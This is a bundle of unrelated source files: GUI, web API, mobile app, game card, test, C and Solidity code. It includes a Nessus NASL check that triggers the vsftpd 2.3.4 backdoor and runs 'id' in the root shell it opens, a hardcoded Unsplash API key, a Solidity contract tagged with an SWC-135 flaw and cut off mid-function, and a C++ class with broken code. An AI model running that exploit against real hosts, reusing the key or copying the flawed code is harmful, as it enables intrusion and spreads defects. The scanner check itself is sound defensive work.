!!---- Contributors: Laurent Chapon (ILL)
!!---- Marc Janoschek (Los Alamos National Laboratory, USA)
!!---- Oksana Zaharko (Paul Scherrer Institute, Switzerland)
!!---- Tierry Roisnel (CDIFX,Rennes France)
!!---- Eric Pellegrini (ILL)
!!---- Ross Angel (University of Pavia)
!!----
!!---- This library is free software; you can redistribute it and/or modify
!!---- it under the terms of the GNU Lesser General Public License as
!!---- published by the Free Software Foundation; either version 3.0 of the
!!---- License, or (at your option) any later version.
!!----
!!---- This library is distributed in the hope that it will be useful, but
!!---- WITHOUT ANY WARRANTY; without even the implied warranty of
!!---- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
!!---- Lesser General Public License for more details.
!!----
!!---- You should have received a copy of the GNU Lesser General Public
!!---- License along with this library; if not, see
!!---- <http://www.gnu.org/licenses/>.
!!----
!!----
!!---- MODULE: CFML_MESSAGES_WIN
!!---- INFO:Input / Output General Messages for the use of WINTERACTER
!!----
!!
Module CFML_Messages_Win
!---- Use Modules ----!
use Winteracter, only: YesNo,OKOnly,CommonYes, CommonOK, Modeless, ViewOnly, &
WordWrap, NoMenu, NoToolbar, SystemFixed, EditTextLength, &
ScreenHeight, StopIcon,InformationIcon, ExclamationIcon, &
QuestionIcon, WMessageBox, WindowCloseChild, WindowOpenChild, &
WEditFile, WEditPutTextPart, WindowSelect, WInfoEditor, &
CommandLine,WInfoScreen,CourierNew,win_message
use CFML_GlobalDeps, only: OPS
!---- Definitions ----!
implicit none
private
!---- List of public subroutines ----!
public :: Close_Scroll_Window, Error_Message, Info_Message, Question_Message, Warning_Message, &
Stop_Message, Write_Scroll_Text
!---- Definitions ----!
!!----
!!---- WIN_CONSOLE
!!---- integer, private :: icwindow
!!----
!!---- Code number for Scroll Window
!!----
!!---- Update: March - 2005
!!
integer, public :: win_console= -1
!!--++
!!--++ WSCROLL
!!--++ logical, private :: wscroll
!!--++
!!--++ Logical variable to indicate if the Scroll Window is
!!--++ active or not.
!!--++
!!--++ Update: March - 2005
!!
logical, private :: wscroll = .false.
Interface
Module Subroutine Close_Scroll_Window()
End Subroutine Close_Scroll_Window
Module Subroutine Error_Message(Mess, Iunit, Routine, Fatal)
!---- Arguments ----!
character(len=*), intent(in) :: Mess ! Error information
integer, optional, intent(in) :: iunit ! Write information on Iunit unit
Character(Len =*), Optional, Intent(In) :: Routine ! Added for consistency with the CFML_IO_Mess.f90 version.
Logical, Optional, Intent(In) :: Fatal ! Added for consistency with the CFML_IO_Mess.f90 version.
End Subroutine Error_Message
Module Subroutine Info_Message(Mess, iunit)
!---- Arguments ----!
character(len=*), intent(in) :: Mess ! Info information
integer, intent(in), optional :: iunit ! Write information on Iunit unit
End Subroutine Info_Message
Module Subroutine Question_Message(Mess, Title)
!---- Argument ----!
character (len=*), intent(in) :: Mess ! Message
character (len=*), optional, intent(in) :: Title ! Title in the Pop-up
End Subroutine Question_Message
Module Subroutine Stop_Message(Mess, Title)
!---- Argument ----!
character (len=*), intent(in) :: Mess ! Message
character (len=*), optional, intent(in) :: Title ! Title in the Pop-up
End Subroutine Stop_Message
Module Subroutine Warning_Message(Mess, Iunit)
!---- Arguments ----!
character(len=*), intent(in) :: Mess ! Message
integer, optional,intent(in) :: iunit ! Write information on Iunit unit
End Subroutine Warning_Message
Module Subroutine Write_Scroll_Text(Mess,ICmd)
!---- Argument ----!
character(len=*), intent(in) :: Mess ! Message to write
integer, optional,intent(in) :: ICmd ! Define the type of the Editor opened
End Subroutine Write_Scroll_Text
End Interface
End Module CFML_Messages_Win
|
from fastapi import APIRouter, Depends, Query
from sqlalchemy.orm import Session
from sqlalchemy import or_
from .schemas import Book
from .database import get_db
router = APIRouter()
@router.get("/books/")
def search_books(query: str = Query(None), db: Session = Depends(get_db)):
if not query:
return []
return db.query(Book).filter(
or_(
Book.titulo.contains(query),
Book.autor.contains(query),
Book.editorial.contains(query)
)
).all()
@router.get("/books/filter/")
def search_books_with_filters(title: str = Query(None), author: str = Query(None), editorial: str = Query(None), db: Session = Depends(get_db)):
query_filters = []
if title:
query_filters.append(Book.titulo.contains(title))
if author:
query_filters.append(Book.autor.contains(author))
if editorial:
query_filters.append(Book.editorial.contains(editorial))
if not query_filters:
return []
return db.query(Book).filter(or_(*query_filters)).all()
|
from rest_framework.views import APIView
from rest_framework.response import Response
from django.contrib.auth.models import User
from rest_framework.permissions import IsAuthenticated
from Product.models import Product, Product_availability, Category_availability, ProductCategory
from ZapioApi.api_packages import *
from Outlet.models import OutletProfile
import re
from _thread import start_new_thread
from ZapioApi.Api.BrandApi.outletmgmt.availability.available import *
class PosLevelCategory(APIView):
"""
Category availability Post API
Authentication Required : Yes
Service Usage & Description : This Api is used to make Category available or unavailable within pos.
Data Post: {
"is_available" : "false",
"id" : "1",
"outlet" : "21"
}
Response: {
"success": True,
"message": "Category is unavailable now!!",
}
"""
permission_classes = (IsAuthenticated,)
def post(self, request, format=None):
try:
mutable = request.POST._mutable
request.POST._mutable = True
data = request.data
user = request.user
cat_check = CategoryAvailable(data,user)
print("dddddddddddddd",cat_check)
if cat_check !=None:
return Response(cat_check)
else:
if data['is_available'] ==False:
msg = "Category is already unavailable!!"
else:
msg = "Category is already available!!"
return Response({
"success" : False,
"message" : msg
})
except Exception as e:
print("Outletwise Category availability Api Stucked into exception!!")
print(e)
return Response({"success": False, "message": "Error happened!!", "errors": str(e)})
|
#include <memory>
// Any : 可以代表并接收任意类型
class Any
{
public:
Any() = default;
~Any() = default;
Any(const Any &) = delete; // 因为unique_ptr
Any &operator=(const Any &) = delete;
Any(Any &&) = default;
Any &operator=(Any &&) = default;
// 使得Any接收任意类型data,并存入Derived对象 由base管理.
template <typename T>
Any(T data) : base_(std::make_unique<Derive<T>>())
{
}
// user通过cast将Any对象里存储的data提取出来.
// user需要自己确定 其传入的T和Derive<T>是一致的
template <typename T>
T cast()
{
// 从base_找到所指向的Derive. 从其中取出data_
// base pointer --> derive pointer only when base指针确实指向derive
Derive<T> *pd = dynamic_cast<Derive<T>*>(base_.get());
if(pd == nullptr)
throw "type is unmatch"!;
return pd->data();
}
private:
class Base
{
public:
virtual ~Base() = default;
};
// Derive : 用于存储任意类型的data
// 对于不同类型的data , 也即不同类型的T , Derive的类型是不同的.(因为Derive+T合在一起是一个完整的类型)
// 因此Any里面需要有一个类型可以统一的接收这些Dervie<T>
// 那么很显然 , 这个类型就应当是 Derive<T> 的父类指针. 于是我们令他继承一个父类Base
template <typename T>
class Derive : public Base
{
public:
Derive(T data) : data_(data)
{
}
T data() { return data_; }
private:
T data_;
};
std::unique_ptr<Base> base_;
};
|
package br.com.alura.AplicandoOrientacaoObjetos.screenmatch.modelos;
/*
* A HERANÇA PERMITE TORNAR O CÓDIGO MAIS UTILIZÁVEL
*/
/*
* SUPERCLASSE/CLASSE MÃE/CLASSE PRINCIPAL
* IMPLEMENTAÇÃO DA CLASSE Comparable<> POSSIBILITA A COMPARAÇÃO DE LISTAS
* ALÉM DA CLASSE Comparable, O JAVA POSSUI UMA OUTRA INTERFACE CHAMADA
* Comparator, QUE NOS FORNECE OUTRA ALTERNATIVA PARA ORDENAÇÃO DE DADOS
*/
public class Titulo implements Comparable<Titulo>{
private String nome;
private int anoDeLancamento;
boolean incluidoNoPlano;
private double avaliacao;
private double somaDasAvaliacoes;
private int totalDeAvaliacoes;
int duracaoEmMinutos;
//METODO CONSTRUTOR
public Titulo(String nome, int anoDeLancamento) {
this.nome = nome;
this.anoDeLancamento = anoDeLancamento;
}
//VOID NÃO DEVOLVE VALORES
public void exibeFichaTecnica() {
System.out.println("Nome do filme: " + nome);
System.out.println("Ano de lançamento: " + anoDeLancamento);
System.out.println("Incluido no plano: " + incluidoNoPlano);
System.out.println("Avaliações: " + avaliacao);
}
//MÉTODO QUE RECEBE UM PARAMETRO DO TIPO DOUBLE
public void avalia(double nota) {
somaDasAvaliacoes += nota;
totalDeAvaliacoes++;
}
//MÉTODO COM TIPO DEFINIDO RETORNAM VALORES
public double pegaMedia() {
return somaDasAvaliacoes / totalDeAvaliacoes;
}
//ATRAVÉS DOS GETTERS PODEMOS LER OS ATRIBUTOS
public int getTotalDeAvaliacoes() {
return totalDeAvaliacoes;
}
//OS SETTERS PERMITEM A MODIFICAÇÃO DOS ATRIBUTOS
public void setNome(String nome) {
//O this FAZ REFERÊNCIA AO ATRIBUTO DA CLASSE
this.nome = nome;
}
public String getNome() {
return nome;
}
public int getAnoDeLancamento() {
return anoDeLancamento;
}
public void setAnoDeLancamento(int anoDeLancamento) {
this.anoDeLancamento = anoDeLancamento;
}
public boolean isIncluidoNoPlano() {
return incluidoNoPlano;
}
public void setIncluidoNoPlano(boolean incluidoNoPlano) {
this.incluidoNoPlano = incluidoNoPlano;
}
public int getDuracaoEmMinutos() {
return duracaoEmMinutos;
}
public void setDuracaoEmMinutos(int duracaoEmMinutos) {
this.duracaoEmMinutos = duracaoEmMinutos;
}
//MÉTODO DA INTERFACE Comparable
@Override
public int compareTo(Titulo outroTitulo) {
//COMPARANDO O NOME DE UM TITULO COM O getNome() DE OUTRO TITULO
return this.getNome().compareTo(outroTitulo.getNome());
}
}
|
package Clase65;
import java.util.Scanner;
public class Cadenas {
public static void main(String[] args) {
// TODO Auto-generated method stub
Scanner scanner = new Scanner(System.in);
// Tarea 1: Extraer la cuarta y quinta letra de una cadena
System.out.print("Ingrese una cadena de texto: ");
String cadena = scanner.nextLine();
if (cadena.length() >= 5) {
String cuartaQuintaLetra = cadena.substring(3, 5);
System.out.println("La cuarta y quinta letra de la cadena son: " + cuartaQuintaLetra);
} else {
System.out.println("La cadena ingresada debe tenre al menos 5 caracteres.");
}
// Tarea 2: Contar la cantidad de vocales en una cadena
int cantidadVocales = contarVocales(cadena);
System.out.println("La cantidad de vocales en la cadena es: " + cantidadVocales);
scanner.close();
}
// Método para contar la cantidad de vocales en una cadena
public static int contarVocales(String cadena) {
int contador = 0;
cadena = cadena.toLowerCase(); // Convertir la cadena a minúsculas para simplificar la comparación
for (int i = 0; i < cadena.length(); i++) {
char caracter = cadena.charAt(i);
if (caracter == 'a' || caracter == 'e' || caracter == 'i' || caracter == 'o' || caracter == 'u') {
contador++;
}
}
return contador;
}
}
|
/*
Josiah - Oct 29, 2020
Handles loading JSON data from Unsplash.
*/
import SwiftUI
struct Photo: Identifiable, Decodable {
var id: String
var alt_description: String?
var urls: [String : String]
//var user: [String : String]
//var user: String?
//var user: [String : String]
//var total_likes, total_photos, total_collections: Int
//var username, name, color: String?//[String : String]
//var portfolio_url: String?
var user: SponsoredBy?
}
// MARK: - SponsoredBy
struct SponsoredBy: Decodable {
let id: String?
//let updatedAt: Date?
let username: String
let name: String
//let firstName: String?
//let lastName: String?
//let twitterUsername: String?
var portfolio_url: String?//String? //portfolioURL
//let instagramUsername: String?
//let totalCollections: Int?
//let totalLikes: Int?
//let totalPhotos: Int?
//let acceptedTos: Bool?
enum CodingKeys: String, CodingKey {
case id
case username, name
//case updatedAt, firstName, lastName, twitterUsername
case portfolio_url
//case instagramUsername, totalCollections, totalLikes, totalPhotos, acceptedTos
}
}
class UnsplashData: ObservableObject {
@Published var photoArray: [Photo] = []
//@Published var userArray: [User] = []
//@Published var urlArray: [String] = []
//@EnvironmentObject var prefs: GlobalVariables
init() {
//self.loadData(pose: tag, count: count)
}
func loadData(pose: String, count: Int, collection:
String) -> [Photo] {
let key = "uAUynundHC-Xw2yOTLX5NgpNqJFNbj7LOFn3bav9sbc"
let url = "https://api.unsplash.com/photos/random/?collections=\(String(describing: collection))&query=\(String(describing: pose))&count=\(count)&client_id=\(key)" //&query=\(tag)
//https://api.unsplash.com/photos/random/?count=10&client_id=oIydIa6cVPfy8sN4ly4fwR6Srhh6zx4mqVsVBK-wbOc&query=hair
let session = URLSession(configuration: .default)
session.dataTask(with: URL(string: url)!) { (data, _, error) in
guard let data = data else {
print("URLSession dataTask error", error ?? "nil")
return
}
do {
let json = try JSONDecoder().decode([Photo].self, from: data)
//let jsonUser = try JSONDecoder().decode([User].self, from: data)
//print(json)
for photo in json {
self.photoArray.append(photo)
// print("\n*** \(photo) *** \n")
}
print("\n* JSON finished loading. * \n")
} catch {
print("\n* error: \(error.localizedDescription)\n")
print("\n* detailed error: \(error)\n")
}
} .resume()
return photoArray
}
func loadCollectionData(collectionID: Int, count: Int) -> [Photo] {
// let key = "uAUynundHC-Xw2yOTLX5NgpNqJFNbj7LOFn3bav9sbc"
let urlCollection = "https://api.unsplash.com/photos/random/?collections=162326&count=5&client_id=uAUynundHC-Xw2yOTLX5NgpNqJFNbj7LOFn3bav9sbc"
let session = URLSession(configuration: .default)
session.dataTask(with: URL(string: urlCollection)!) { (data, _, error) in
guard let data = data else {
print("URLSession dataTask error", error ?? "nil")
return
}
do {
let json = try JSONDecoder().decode([Photo].self, from: data)
//let jsonUser = try JSONDecoder().decode([User].self, from: data)
//print(json)
for photo in json {
self.photoArray.append(photo)
// print("\n*** \(photo) *** \n")
}
print("\n* JSON finished loading. * \n")
} catch {
print("\n* error: \(error.localizedDescription)\n")
print("\n* detailed error: \(error)\n")
}
} .resume()
return photoArray
}
}
|
#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(55523);
script_version("$Revision: 1.5 $");
script_cvs_date("$Date: 2014/12/26 13:58:58 $");
script_bugtraq_id(48539);
script_osvdb_id(73573);
script_xref(name:"EDB-ID", value:"17491");
script_name(english:"vsftpd Smiley Face Backdoor");
script_summary(english:"Attempts to trigger and connect to the backdoor.");
script_set_attribute(attribute:"synopsis", value:
"The remote FTP server contains a backdoor, allowing execution of
arbitrary code.");
script_set_attribute(attribute:"description", value:
"The version of vsftpd running on the remote host has been compiled
with a backdoor. Attempting to login with a username containing :)
(a smiley face) triggers the backdoor, which results in a shell
listening on TCP port 6200. The shell stops listening after a client
connects to and disconnects from it.
An unauthenticated, remote attacker could exploit this to execute
arbitrary code as root.");
script_set_attribute(attribute:"see_also", value:"http://pastebin.com/AetT9sS5");
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?abcbc915");
script_set_attribute(attribute:"solution", value:
"Validate and recompile a legitimate copy of the source code.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"metasploit_name", value:'VSFTPD v2.3.4 Backdoor Command Execution');
script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"vuln_publication_date",value:"2011/07/03");
script_set_attribute(attribute:"patch_publication_date",value:"2011/07/03");
script_set_attribute(attribute:"plugin_publication_date", value:"2011/07/06");
script_set_attribute(attribute:"plugin_type",value:"remote");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"FTP");
script_copyright(english:"This script is Copyright (C) 2011-2014 Tenable Network Security, Inc.");
script_dependencies("ftpserver_detect_type_nd_version.nasl", "find_service2.nasl");
script_exclude_keys("global_settings/supplied_logins_only");
script_require_ports("Services/ftp", 21);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("ftp_func.inc");
backdoor_port = 6200;
if (known_service(port:backdoor_port))
audit(AUDIT_SVC_ALREADY_KNOWN, backdoor_port);
port = get_ftp_port(default:21);
if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);
if (report_paranoia < 2)
{
banner = get_ftp_banner(port:port);
if (isnull(banner))
audit(AUDIT_NO_BANNER, port);
if ('vsFTPd 2.3.4' >!< banner)
audit(AUDIT_NOT_LISTEN, 'vsftpd 2.3.4.', port);
}
soc = open_sock_tcp(port);
if (!soc) audit(AUDIT_SOCK_FAIL, port);
# sending a smiley face in the username triggers the backdoor.
# vsftpd rejects usernames that don't start with alphanumeric chars
user = strcat(unixtime(), ':)');
pass = rand_str(length:8);
ftp_authenticate(socket:soc, user:user, pass:pass);
soc2 = open_sock_tcp(backdoor_port);
if (!soc2)
{
close(soc);
exit(0, 'Failed to open a socket on port '+backdoor_port+' (appears the host is not affected).');
}
cmd = 'id';
cmd_pat = 'uid=[0-9]+.*gid=[0-9]+.*';
send(socket:soc2, data:cmd + '\n');
res = recv_line(socket:soc2, length:1024);
close(soc);
close(soc2);
if (strlen(res) == 0) exit(1, "Failed to read the command output after sending the exploit to the FTP server on port "+port+".");
if (egrep(pattern:cmd_pat, string:res))
{
if (report_verbosity > 0)
{
report =
'\nNessus executed "' + cmd + '" which returned the following output :\n\n' +
res;
security_hole(port:port, extra:report);
}
else security_hole(port);
}
else exit(1, "Unexpected response from '" + cmd + "' command received after sending the exploit to the FTP server on port "+port+".");
|
import 'package:flutter/foundation.dart';
import 'package:flutter_mobx/flutter_mobx.dart';
import 'package:flutter/material.dart';
import 'package:learning_get_it/pages/home/home_store.dart';
import 'package:flutter_slidable/flutter_slidable.dart';
import 'package:learning_get_it/services/getit_service.dart';
class HomePage extends StatelessWidget {
const HomePage({Key? key}) : super(key: key);
@override
Widget build(BuildContext context) {
HomeStore store = locator<HomeStore>()..getAllPost();
return Scaffold(
appBar: AppBar(),
body: Observer(builder: (context){
store.controller.addListener(() {
if(store.controller.position.pixels.isNegative){
store.getAllPost();
}
});
return Stack(children: [
ListView.builder(
controller: store.controller,
itemCount: store.list.length,
itemBuilder: (context, index) {
if(store.isLoadig){
if(index == 0){
return Center(child: CircularProgressIndicator(),);
}
}
return GestureDetector(
onTap: (){
store.goToDetailPageEdit(context,store.list[index]);
},
child: Slidable(
startActionPane: ActionPane(
extentRatio: 0.25,
motion: const ScrollMotion(),
children: [
SlidableAction(
onPressed: (context) {
store.goToDetailPageEdit(context,store.list[index]);
},
backgroundColor: Colors.green,
foregroundColor: Colors.white,
icon: Icons.update,
),
],
),
endActionPane: ActionPane(
extentRatio: 0.25,
motion: const ScrollMotion(),
children: [
SlidableAction(
onPressed: (context) {
print(store.list[index].userId);
print(store.list[index].id);
store.deletePost(store.list[index].id!);
},
backgroundColor: Colors.red,
foregroundColor: Colors.white,
icon: Icons.delete_outline,
),
],
),
child: Card(
elevation: 5,
child: ListTile(
title: Text(
store.list[index].title,
style: const TextStyle(
fontSize: 20,
fontWeight: FontWeight.bold,
color: Colors.black,
),
),
subtitle: Text(
store.list[index].body,
style: const TextStyle(
fontSize: 18,
fontWeight: FontWeight.w600,
),
),
),
),
),
);
},
),
Visibility(
visible: store.isLoadig,
child: Container(alignment: Alignment.center,
color: Colors.white.withOpacity(0.7),
child:
CircularProgressIndicator(),),),
],);
},),
floatingActionButton: FloatingActionButton(
child: const Icon(Icons.add),
onPressed: () => store.goToDetailPage(context),
),
);
}
}
// import 'package:flutter/material.dart';
// import 'package:flutter_mobx/flutter_mobx.dart';
// import 'package:learning_get_it/models/post.dart';
// import 'package:learning_get_it/pages/home/home_store.dart';
//
// class HomePage extends storelessWidget {
// const HomePage({Key? key}) : super(key: key);
//
// @override
// Widget build(BuildContext context) {
// HomeStore store = HomeStore()..getAllPost();
// return Scaffold(
// appBar: AppBar(
// title: const Text("All Posts"),
// ),
// body: Observer(
// builder: (context) {
// return ListView.builder(
// itemCount: store.list.length,
// itemBuilder: (context, index) {
// Post post = store.list[index];
//
// return Card(
// child: ListTile(
// title: Text(post.title),
// subtitle: Text(post.body),
// ),
// );
// },
// );
// }
// ),
//
// floatingActionButton: FloatingActionButton(
// child: const Icon(Icons.add),
// onPressed: () => store.goToDetailPage(context),
// ),
// );
// }
// }
|
import {sanityClient, urlFor} from "../../lib/sanity";
import Image from "next/image";
import {PortableText, PortableTextComponentsProvider} from "@portabletext/react";
const usageQuery = `*[_type == "usage" && slug.current == $slug][0]{
title,
_id,
description,
featuredImage
}`;
const slugUsage = ({post}) => {
const components = {
types: {
image: ({value}) => (
<div className="relative w-full h-96">
<Image src={urlFor(value.asset).url()}
layout="fill"
objectFit="cover"
alt={post.title}
/>,
</div>
)
},
block: {
h2: ({children}) => <h2 className="text-2xl my-3 font sans">{children}</h2>,
normal: ({children}) => <p className="text-md font-sans">{children}</p>
}
}
return (
<div className="max-w-screen-3xl mx-auto">
<article className="container mb-6 px-5 mx-auto">
<h1 className="text-4xl my-5 text-center">{post?.title}</h1>
<div className="relative w-full w-full h-[20rem] md:h-[32rem] xl:h-[40rem] mb-6">
<Image
src={`${urlFor(post.featuredImage).url()}`}
alt={post.title}
layout="fill"
objectFit="cover"
objectPosition="center bottom"/>
</div>
<PortableTextComponentsProvider components={components}>
<PortableText value={post.description}/>
</PortableTextComponentsProvider>
</article>
</div>
);
};
export default slugUsage;
export async function getStaticPaths() {
const paths = await sanityClient.fetch(
`*[_type == "usage" && defined(slug.current)]{
"params": {
"slug": slug.current
}
}`
);
return {
paths,
fallback: false,
}
}
export async function getStaticProps({params}) {
const {slug} = params;
const post = await sanityClient.fetch(usageQuery, {slug});
return {
props: {
post
}
}
}
|
import {IProjectCard} from '../IProjectCard';
import {Card} from '../Card';
import {CardType} from '../CardType';
import {Player} from '../../Player';
import {CardName} from '../../CardName';
import {MAX_OCEAN_TILES, REDS_RULING_POLICY_COST} from '../../constants';
import {PartyHooks} from '../../turmoil/parties/PartyHooks';
import {PartyName} from '../../turmoil/parties/PartyName';
import {PlaceOceanTile} from '../../deferredActions/PlaceOceanTile';
import {CardRenderer} from '../render/CardRenderer';
export class SubterraneanReservoir extends Card implements IProjectCard {
constructor() {
super({
cardType: CardType.EVENT,
name: CardName.SUBTERRANEAN_RESERVOIR,
cost: 11,
metadata: {
cardNumber: '127',
renderData: CardRenderer.builder((b) => {
b.oceans(1);
}),
description: 'Place 1 ocean tile.',
},
});
}
public canPlay(player: Player): boolean {
const oceansMaxed = player.game.board.getOceansOnBoard() === MAX_OCEAN_TILES;
if (PartyHooks.shouldApplyPolicy(player.game, PartyName.REDS) && !oceansMaxed) {
return player.canAfford(player.getCardCost(this) + REDS_RULING_POLICY_COST);
}
return true;
}
public play(player: Player) {
player.game.defer(new PlaceOceanTile(player));
return undefined;
}
}
|
import { test, type Page, type BrowserContext } from '@playwright/test';
import ProfilePage from '../ui/pages/profile-page';
import apiPaths from '../utils/apiPaths';
import pages from '../utils/pages';
let profilePage: ProfilePage;
test.beforeEach(async ({ page }) => {
await page.goto(pages.profile);
profilePage = new ProfilePage(page);
});
test.describe('Profile - API Interception', () => {
test('Sort books', async ({ page, context }) => {
await watchAPICallAndMockResponse(page, context);
await profilePage.checkBooksList();
await profilePage.sortBooksList();
await profilePage.checkSort();
});
});
async function watchAPICallAndMockResponse(page: Page, context: BrowserContext) {
await profilePage.mockBooksListResponse(context);
const [response] = await Promise.all([
page.waitForResponse(new RegExp(apiPaths.account)),
await page.reload(),
]);
await response.json();
}
|
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "object.h"
#include <assert.h>
void Object_destroy (void *self)
{
Object *obj = self;
if(obj) {
if(obj->description) {
free(obj->description);
}
free(obj);
}
}
void Object_describe(void *self)
{
Object *obj = self;
printf("%s.\n", obj->description);
}
int Object_init(void *self)
{
// do nothing really
return 1;
}
void *Object_move(void *self, Direction direction)
{
printf("You can't go that direction.\n");
return NULL;
}
int Object_attack(void *self, int damage)
{
printf("You can't attack that.\n");
return 0;
}
void *Object_new(size_t size, Object proto, char *description)
{
// setup the default functions in case they aren't set
if(!proto.init) {
proto.init = Object_init;
}
if(!proto.describe) {
proto.describe = Object_describe;
}
if(!proto.destroy) {
proto.destroy = Object_destroy;
}
if(!proto.attack) {
proto.attack = Object_attack;
}
if(!proto.move) {
proto.move = Object_move;
}
// Make a struct of one size, then point a different
// pointer at it to "cast" it
Object *el = calloc(1, size);
*el = proto;
// Copy the description over
el->description = strdup(description);
// initialize it with whatetver init we were given
if(!el->init(el)) {
// looks like it didn't initialize properly
el->destroy(el);
return NULL;
} else {
// all done, we made an object of any type
return el;
}
}
|
import 'package:flutter/material.dart';
class PopupMenu extends StatelessWidget {
const PopupMenu({super.key});
@override
Widget build(BuildContext context) {
return PopupMenuButton(
icon: const Icon(Icons.menu, size: 30.0, color: Colors.white),
itemBuilder: (BuildContext context) {
return [
const PopupMenuItem(
value: 1,
child: Row(
children: [
Icon(
Icons.add_box_rounded,
color: Color.fromRGBO(99, 129, 199, 1),
),
SizedBox(width: 12.0),
Text('Post a Seequl'),
],
)),
const PopupMenuItem(
value: 2,
child: Row(
children: [
Icon(
Icons.favorite,
color: Color.fromRGBO(251, 94, 94, 1),
),
SizedBox(width: 12.0),
Text('View your likes'),
],
)),
const PopupMenuItem(
value: 3,
child: Row(
children: [
Icon(Icons.circle),
SizedBox(width: 12.0),
Text('Your Seequl posts'),
],
)),
const PopupMenuItem(
value: 4,
child: Row(
children: [
Icon(
Icons.menu_book_outlined,
color: Color.fromRGBO(95, 99, 104, 1),
),
SizedBox(width: 12.0),
Text('Reference Contribution'),
],
)),
const PopupMenuItem(
value: 5,
child: Row(
children: [
Icon(
Icons.tag,
color: Color.fromRGBO(95, 99, 104, 1),
),
SizedBox(width: 12.0),
Text('HashTag Challenges'),
],
)),
const PopupMenuItem(
value: 6,
child: Row(
children: [
Icon(
Icons.notifications,
color: Color.fromRGBO(42, 81, 24, 1),
),
SizedBox(width: 12.0),
Text('Notifications'),
],
)),
const PopupMenuItem(
value: 7,
child: Row(
children: [
Icon(Icons.info, color: Color.fromRGBO(128, 93, 93, 1)),
SizedBox(width: 12.0),
Text('About SeeQul'),
],
)),
// Add more menu items as needed
];
},
onSelected: (value) {
// Handle the selected menu item here
},
);
}
}
|
// SPDX-License-Identifier: GPL
pragma solidity ^0.6.6;
import "./interfaces/IOneSwapToken.sol";
import "./interfaces/IOneSwapFactory.sol";
import "./interfaces/IOneSwapRouter.sol";
import "./interfaces/IOneSwapBuyback.sol";
contract OneSwapBuyback is IOneSwapBuyback {
uint256 private constant _MAX_UINT256 = uint256(-1);
address public immutable override weth;
address public immutable override ones;
address public immutable override router;
address public immutable override factory;
mapping (address => bool) private _mainTokens;
address[] private _mainTokenArr;
constructor(address _weth, address _ones, address _router, address _factory) public {
weth = _weth;
ones = _ones;
router = _router;
factory = _factory;
// add WETH & ONES to main token list
_mainTokens[_ones] = true;
_mainTokenArr.push(_ones);
_mainTokens[_weth] = true;
_mainTokenArr.push(_weth);
}
// add token into main token list
function addMainToken(address token) external override {
require(msg.sender == IOneSwapToken(ones).owner(), "OneSwapBuyback: NOT_ONES_OWNER");
if (!_mainTokens[token]) {
_mainTokens[token] = true;
_mainTokenArr.push(token);
}
}
// remove token from main token list
//SWC-135-Code With No Effects: L44-L59
function removeMainToken(address token) external override {
require(msg.sender == IOneSwapToken(ones).owner(), "OneSwapBuyback: NOT_ONES_OWNER");
require(token != ones, "OneSwapBuyback: REMOVE_ONES_FROM_MAIN");
require(token != weth, "OneSwapBuyback: REMOVE_WETH_FROM_MAIN");
if (_mainTokens[token]) {
_mainTokens[token] = false;
uint256 lastIdx = _mainTokenArr.length - 1;
for (uint256 i = 0; i < lastIdx; i++) {
if (_mainTokenArr[i] == token) {
_mainTokenArr[i] = _mainTokenArr[lastIdx];
break;
}
}
_mainTokenArr.pop();
}
}
// check if token is in main token list
function isMainToken(address token) external view override returns (bool) {
return _mainTokens[token];
}
// query main token list
function mainTokens() external view override returns (address[] memory list) {
list = _mainTokenArr;
}
// remove Buyback's liquidity from all pairs
// swap got minor tokens for main tokens if possible
function removeLiquidity(address[] calldata pairs) external override {
for (uint256 i = 0; i < pairs.length; i++) {
_removeLiquidity(pairs[i]);
}
}
function _removeLiquidity(address pair) private {
(address a, address b) = IOneSwapFactory(factory).getTokensFromPair(pair);
require(a != address(0) && b != address(0), "OneSwapBuyback: INVALID_PAIR");
uint256 amt = IERC20(pair).balanceOf(address(this));
require(amt > 0, "OneSwapBuyback: NO_LIQUIDITY");
IERC20(pair).approve(router, amt);
IOneSwapRouter(router).removeLiquidity(
pair, amt, 0, 0, address(this), _MAX_UINT256);
// minor -> main
bool aIsMain = _mainTokens[a];
bool bIsMain = _mainTokens[b];
if ((aIsMain && !bIsMain) || (!aIsMain && bIsMain)) {
_swapForMainToken(pair);
}
}
// swap minor tokens for main tokens
function swapForMainToken(address[] calldata pairs) external override {
for (uint256 i = 0; i < pairs.length; i++) {
_swapForMainToken(pairs[i]);
}
}
function _swapForMainToken(address pair) private {
(address a, address b) = IOneSwapFactory(factory).getTokensFromPair(pair);
require(a != address(0) && b != address(0), "OneSwapBuyback: INVALID_PAIR");
address mainToken;
address minorToken;
if (_mainTokens[a]) {
require(!_mainTokens[b], "OneSwapBuyback: SWAP_TWO_MAIN_TOKENS");
(mainToken, minorToken) = (a, b);
} else {
require(_mainTokens[b], "OneSwapBuyback: SWAP_TWO_MINOR_TOKENS");
(mainToken, minorToken) = (b, a);
}
uint256 minorTokenAmt = IERC20(minorToken).balanceOf(address(this));
require(minorTokenAmt > 0, "OneSwapBuyback: NO_MINOR_TOKENS");
address[] memory path = new address[](1);
path[0] = pair;
// minor -> main
IERC20(minorToken).approve(router, minorTokenAmt);
IOneSwapRouter(router).swapToken(
minorToken, minorTokenAmt, 0, path, address(this), _MAX_UINT256);
}
// swap main tokens for ones, then burn all ones
function swapForOnesAndBurn(address[] calldata pairs) external override {
for (uint256 i = 0; i < pairs.length; i++) {
_swapForOnesAndBurn(pairs[i]);
}
// burn all ones
uint256 allOnes = IERC20(ones).balanceOf(address(this));
IOneSwapToken(ones).burn(allOnes);
emit BurnOnes(allOnes);
}
function _swapForOnesAndBurn(address pair) private {
(address a, address b) = IOneSwapFactory(factory).getTokensFromPair(pair);
require(a != address(0) && b != address(0), "OneSwapBuyback: INVALID_PAIR");
require(a == ones || b == ones, "OneSwapBuyback: ONES_NOT_IN_PAIR");
